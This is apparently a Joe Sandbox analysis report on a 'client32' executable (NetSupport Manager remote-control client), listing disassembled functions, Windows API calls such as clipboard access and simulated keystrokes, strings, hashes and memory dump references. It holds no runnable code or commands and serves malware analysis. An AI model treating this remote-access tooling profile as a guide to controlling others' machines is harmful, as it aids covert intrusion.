EnterCriticalSection.KERNEL32(?,?,1100BF9B,?,00000000,00000002), ref: 1100B389
EnterCriticalSection.KERNEL32(?,?,1100BF9B,?,00000000,00000002), ref: 1100B3A8

Part of subcall function 1100A250: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,?,?), ref: 1100A26E
Part of subcall function 1100A250: DeviceIoControl.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?), ref: 1100A298
Part of subcall function 1100A250: GetLastError.KERNEL32 ref: 1100A2A0
Part of subcall function 1100A250: WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 1100A2B4
Part of subcall function 1100A250: CloseHandle.KERNEL32(00000000), ref: 1100A2BB

waveOutUnprepareHeader.WINMM(00000000,?,00000020,?,1100BF9B,?,00000000,00000002), ref: 1100B3B8
LeaveCriticalSection.KERNEL32(?,?,1100BF9B,?,00000000,00000002), ref: 1100B3BF
_free.LIBCMT ref: 1100B3C8
_free.LIBCMT ref: 1100B3CE

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$Enter_free$CloseControlCreateDecrementDeviceErrorEventHandleHeaderInterlockedLastLeaveObjectSingleUnprepareWaitwave
String ID:
API String ID: 705253285-0
Opcode ID: 9b17b99866f1eb7af8eecf8b34d72fa950e84be9354c263641cd2a407741fadc
Instruction ID: 939bcaf7555c717cf87bfebf1d57658177790bd0868e621cfe44e5f8350f5b2d
Opcode Fuzzy Hash: 9b17b99866f1eb7af8eecf8b34d72fa950e84be9354c263641cd2a407741fadc
Instruction Fuzzy Hash: 5511C276900718ABE321CEA0DC88BEFB3ECBF48359F104519FA6692544D774B501CB64

Function 11079270 Relevance: 10.5, APIs: 1, Strings: 5, Instructions: 45COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(00000000,00000000,00000000), ref: 110792EF

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

idata->pButtonInfo, xrefs: 1107928B
iTab >= 0 && iTab < idata->pButtonInfo->m_iCount, xrefs: 110792B1
..\ctl32\Coolbar.cpp, xrefs: 11079286, 110792AC
e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110792D5
m_hWnd, xrefs: 110792DA

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorExitInvalidateLastMessageProcessRectwsprintf
String ID: ..\ctl32\Coolbar.cpp$e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$iTab >= 0 && iTab < idata->pButtonInfo->m_iCount$idata->pButtonInfo$m_hWnd
API String ID: 2776021309-3012761530
Opcode ID: 9fc34f119076dcabc78fd5bd3c8792c7e4337f53f973009b984a304d2b57edc4
Instruction ID: 43535e2045e6edea7900c1da28a671eb4229fa08b0c2923c5f5b9d209a058891
Opcode Fuzzy Hash: 9fc34f119076dcabc78fd5bd3c8792c7e4337f53f973009b984a304d2b57edc4
Instruction Fuzzy Hash: 7101D675F04355BBE710EE86ECC2FD6FBA4AB50368F00402AF95526581E7B1B440C6A5

Function 1116C548 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL,111DD208,00000008,1116C650,00000000,00000000,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 1116C559
__lock.LIBCMT ref: 1116C58D

Part of subcall function 1117459F: __mtinitlocknum.LIBCMT ref: 111745B5
Part of subcall function 1117459F: __amsg_exit.LIBCMT ref: 111745C1
Part of subcall function 1117459F: EnterCriticalSection.KERNEL32(?,?,?,1116C592,0000000D), ref: 111745C9

InterlockedIncrement.KERNEL32(111ECF10), ref: 1116C59A
__lock.LIBCMT ref: 1116C5AE
___addlocaleref.LIBCMT ref: 1116C5CC

Strings

KERNEL32.DLL, xrefs: 1116C554

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID: KERNEL32.DLL
API String ID: 637971194-2576044830
Opcode ID: c30498e3d86330ae44e1c52ec9b4aa2f09ed67631497381de44178ba0653ec91
Instruction ID: a1ea6c524cc80d8162a63b7122f67c86dce844b07e1b6a5dabb7ffb63b15338b
Opcode Fuzzy Hash: c30498e3d86330ae44e1c52ec9b4aa2f09ed67631497381de44178ba0653ec91
Instruction Fuzzy Hash: F001A175541B029FE7218FA9C844749FBE0AF51319F10890ED4A657B90CBB1A640CF11

Function 11032570 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 38COMMON

Download Yara Rule

APIs

GlobalLock.KERNEL32(?), ref: 1103257A
GlobalSize.KERNEL32(?), ref: 11032583
_malloc.LIBCMT ref: 1103258F

Part of subcall function 11163A11: __FF_MSGBANNER.LIBCMT ref: 11163A2A
Part of subcall function 11163A11: __NMSG_WRITE.LIBCMT ref: 11163A31
Part of subcall function 11163A11: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1111023E,?,?,?,?,11145C02,?,?,?), ref: 11163A56

_memmove.LIBCMT ref: 110325BE

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

*pData, xrefs: 110325AA
..\ctl32\clipbrd.cpp, xrefs: 110325A5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Global$AllocateErrorExitHeapLastLockMessageProcessSize_malloc_memmovewsprintf
String ID: *pData$..\ctl32\clipbrd.cpp
API String ID: 4160999899-373438037
Opcode ID: 45447524fc669c612e85c5f8427f3bd9f16ba901bd46638992dd70fbe825a56c
Instruction ID: 7dfec25502a60c4b73a96eedf82075b45f68722f315a0679132fda7e4580d095
Opcode Fuzzy Hash: 45447524fc669c612e85c5f8427f3bd9f16ba901bd46638992dd70fbe825a56c
Instruction Fuzzy Hash: D9F08976A10229BBDB109FA9EC85EAB779CEF8925CB040035F959DB300E571F910C7A1

Function 11003390 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35windowCOMMON

Download Yara Rule

APIs

LoadMenuA.USER32(00000000,00002EFD), ref: 1100339D
GetSubMenu.USER32(00000000,00000000), ref: 110033C3
DestroyMenu.USER32(00000000), ref: 110033F2

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

hMenu, xrefs: 110033B3
..\CTL32\annotate.cpp, xrefs: 110033AE, 110033D4
hSub, xrefs: 110033D9

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DestroyErrorExitLastLoadMessageProcesswsprintf
String ID: ..\CTL32\annotate.cpp$hMenu$hSub
API String ID: 468487828-934300333
Opcode ID: aec038cc46e432c7ccbbb9c417c57b99462259266c92d4bd57c73e054505ab39
Instruction ID: f0241db128611486ad2bba77008837faff31f6141376dc95c8c97f83293769ff
Opcode Fuzzy Hash: aec038cc46e432c7ccbbb9c417c57b99462259266c92d4bd57c73e054505ab39
Instruction Fuzzy Hash: 09F0EC3EE9063573D25211772C4AF8FB6844B8569DF540032FD26BA740EE14A40147B9

Function 11072220 Relevance: 9.2, APIs: 2, Strings: 3, Instructions: 430COMMON

Download Yara Rule

Strings

Error %dz discarded %-4u bytes: %s, xrefs: 1107231C
%02x , xrefs: 110722FD
Queue EV_CALLED_CONTROL: session=%d addr=%s extra=%s, xrefs: 110725C0

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID:
String ID: %02x $Error %dz discarded %-4u bytes: %s$Queue EV_CALLED_CONTROL: session=%d addr=%s extra=%s
API String ID: 0-2590468221
Opcode ID: e872272a0c7033acd62c2daa5ee8986e8f6ac48a4914a04a425d6e9df377d2c3
Instruction ID: dc1cd5e0ad3670399cd4aca84954527973052ac6e0f745adce462208d448e3a9
Opcode Fuzzy Hash: e872272a0c7033acd62c2daa5ee8986e8f6ac48a4914a04a425d6e9df377d2c3
Instruction Fuzzy Hash: 14E18179F00205ABDB24CF54C990F6AB7A9FF89304F148269E9499F385DB30EC45CBA5

Function 110320B0 Relevance: 9.2, APIs: 6, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 11110230: _malloc.LIBCMT ref: 11110239
Part of subcall function 11110230: _memset.LIBCMT ref: 11110262

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 11032104
GetFileSize.KERNEL32(00000000,00000000), ref: 11032120
ReadFile.KERNEL32(?,00000000,?,?,00000000), ref: 11032143
_memmove.LIBCMT ref: 11032197
CloseHandle.KERNEL32(?), ref: 110321D3
CloseHandle.KERNEL32(?), ref: 11032234

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: File$CloseHandle$CreateReadSize_malloc_memmove_memset
String ID:
API String ID: 2574518533-0
Opcode ID: 5a69c91c3e0155832479c9a092b2124aef59f010748d926c772fca7d5382b92e
Instruction ID: 1586da20782dc2dc3b0b5513d0193b6af73180b02edcfb9cb2efa48bc0ea1d85
Opcode Fuzzy Hash: 5a69c91c3e0155832479c9a092b2124aef59f010748d926c772fca7d5382b92e
Instruction Fuzzy Hash: CF512BB5E00209AFCB14DFB8D980A9EFBF9FF98318F104529E515E7240EB71A915CB90

Function 11032310 Relevance: 9.1, APIs: 6, Instructions: 149windowclipboardCOMMON

Download Yara Rule

APIs

GetClipboardFormatNameA.USER32(?,?,00000080), ref: 1103239B
_memmove.LIBCMT ref: 11032429
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 11032499
TranslateMessage.USER32(?), ref: 110324A7
DispatchMessageA.USER32(?), ref: 110324B4
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 110324CF

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Peek$ClipboardDispatchFormatNameTranslate_memmove
String ID:
API String ID: 1130817274-0
Opcode ID: a3e8ff29f3dd775e41d8f40c229ca5a054c85fdaabae9d696263d2c5e5cc1c4a
Instruction ID: 072678467dce0c8da7088ebee32012870df3c8fce8058e99ad8d1d1a60a604fc
Opcode Fuzzy Hash: a3e8ff29f3dd775e41d8f40c229ca5a054c85fdaabae9d696263d2c5e5cc1c4a
Instruction Fuzzy Hash: 1B51F9719102299BDB24DF64CC80BAAB7F9BF88704F54C1D9E589A7244DF71AA84CFD0

Function 11027580 Relevance: 9.1, APIs: 6, Instructions: 70threadwindowsleepCOMMON

Download Yara Rule

APIs

PostThreadMessageA.USER32(00000000,00000501,1102DB60,00000000), ref: 110275D2
Sleep.KERNEL32(00000032,?,1102DB60,00000001), ref: 110275D6
PostThreadMessageA.USER32(00000000,00000012,00000000,00000000), ref: 110275F7
WaitForSingleObject.KERNEL32(00000000,00000032,?,1102DB60,00000001), ref: 11027602
CloseHandle.KERNEL32(00000000,00002710,?,1102DB60,00000001), ref: 11027614
FreeLibrary.KERNEL32(00000000,00000000,00000000,00002710,?,1102DB60,00000001), ref: 11027641

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessagePostThread$CloseFreeHandleLibraryObjectSingleSleepWait
String ID:
API String ID: 2375713580-0
Opcode ID: 1167bbe8f404b4b170c5f303e961cdd6648e4dbde7aa15af3b93772e36ea41a8
Instruction ID: 5d0aa2bc238e72ac38ea6d9656cf733a88b5b02fa80378034871cbc9b64e3e84
Opcode Fuzzy Hash: 1167bbe8f404b4b170c5f303e961cdd6648e4dbde7aa15af3b93772e36ea41a8
Instruction Fuzzy Hash: B1217C71A43735DBE612CBD8CCC4A76FBA8AB58B18B40013AF524C7288C770A441CF91

Function 11028570 Relevance: 9.1, APIs: 6, Instructions: 52keyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 11145C70: GetVersionExA.KERNEL32(111F1EF0,75BF8400), ref: 11145CA0
Part of subcall function 11145C70: RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00000001,?), ref: 11145CDF
Part of subcall function 11145C70: _memset.LIBCMT ref: 11145CFD
Part of subcall function 11145C70: _strncpy.LIBCMT ref: 11145DCA

Part of subcall function 11028450: _memset.LIBCMT ref: 11028485
Part of subcall function 11028450: wsprintfA.USER32 ref: 110284BA
Part of subcall function 11028450: WaitForSingleObject.KERNEL32(?,000000FF), ref: 110284FF
Part of subcall function 11028450: GetExitCodeProcess.KERNEL32(?,?), ref: 11028513
Part of subcall function 11028450: CloseHandle.KERNEL32(?,00000000), ref: 11028545
Part of subcall function 11028450: CloseHandle.KERNEL32(?), ref: 1102854E

keybd_event.USER32(0000005B,00000000,00000000,00000000), ref: 110285A6
keybd_event.USER32(0000005B,00000000,00000002,00000000), ref: 110285B0
keybd_event.USER32(00000012,00000000,00000000,00000000), ref: 110285B7
keybd_event.USER32(00000009,00000000,00000000,00000000), ref: 110285C1
keybd_event.USER32(00000009,00000000,00000002,00000000), ref: 110285CB
keybd_event.USER32(00000012,00000000,00000002,00000000), ref: 110285D5

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112DF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001132B000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: keybd_event$CloseHandle_memset$CodeExitObjectOpenProcessSingleVersionWait_strncpywsprintf
String ID:
API String ID: 1958445444-0
Opcode ID: 6a0af90241b9cb3d13d279edc5e1ba729062257bd6306d8ab941137ea0041105
Instruction ID: e9f6e0afee387c5887b18efcf55e32cbbb7377a290e8e161289c10e6448a1db8
Opcode Fuzzy Hash: 6a0af90241b9cb3d13d279edc5e1ba729062257bd6306d8ab941137ea0041105
Instruction Fuzzy Hash: 15F0B735FC033935F53066A51D0BF5B7A888B00FA9FA54062BF08BE4C6A9C179109AE9

Function 11002590 Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

SetROP2.GDI32(?,00000007), ref: 110025A5
SelectObject.GDI32(?,?), ref: 110025B2
MoveToEx.GDI32(?,?,?,00000000), ref: 110025C8
LineTo.GDI32(?,?,?), ref: 110025D7
SelectObject.GDI32(?,?), ref: 110025E2
SetROP2.GDI32(?,?), ref: 110025ED

Memory Dump Source

Source File: 00000003.00000002.2970508337.0000000011001000.00000020.00000001.01000000.00000007.sdmp, Offset: 11000000, based on PE: true

Associated: 00000003.00000002.2970485594.0000000011000000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970634532.0000000011194000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970685267.00000000111E2000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970711939.00000000111F1000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000111F7000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001125D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.0000000011288000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.000000001129E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112AD000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000003.00000002.2970736603.00000000112B4000.00000002.00000001.01000000.00000007.sdmpDownload File
